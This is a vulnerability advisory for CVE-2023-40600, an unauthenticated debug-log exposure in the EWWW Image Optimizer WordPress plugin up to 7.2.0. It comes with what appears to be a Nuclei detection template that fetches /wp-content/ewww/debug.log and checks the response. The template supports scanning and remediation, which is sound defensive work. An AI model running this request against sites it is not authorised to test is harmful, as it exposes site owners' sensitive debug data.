The EWWW Image Optimizer plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.2.0 via the debug_log function. This makes it possible for unauthenticated attackers to extract sensitive debug data when debug logging is enabled.
PoC
id: CVE-2023-40600
info:
name: EWWW Image Optimizer <= 7.2.0 - Unauthenticated Information Disclosure
author: Shivam Kamboj
severity: medium
description: |
The EWWW Image Optimizer plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.2.0 via the debug_log function. This makes it possible for unauthenticated attackers to extract sensitive debug data when debug logging is enabled.
impact:
Attackers can access sensitive embedded data, potentially leading to information disclosure and further exploitation.
remediation:
Remove debug information and update to the latest version of EWWW Image Optimizer.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-40600
- https://patchstack.com/database/wordpress/plugin/ewww-image-optimizer/vulnerability/wordpress-ewww-image-optimizer-plugin-7-2-0-sensitive-data-exposure-vulnerability
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ewww-image-optimizer/ewww-image-optimizer-720-unauthenticated-sensitive-information-exposure-via-debug-log
metadata:
verified: true
max-request: 1
tags: cve,cve2023,wp,wordpress,wp-plugin,ewww-image-optimizer,vkev
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/ewww/debug.log"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "ewww_image_optimizer","__construct()")'
condition: and
# digest: 4a0a00473045022100f081fe88954782b22420244733720ec76bcc72f13270afb18b397dee6a651107022044105d9849b1cc36e727f665e911f62b0cb62e96c74e400c24eee8518e28f89e:922c64590222798bb761d5b6d8e72950
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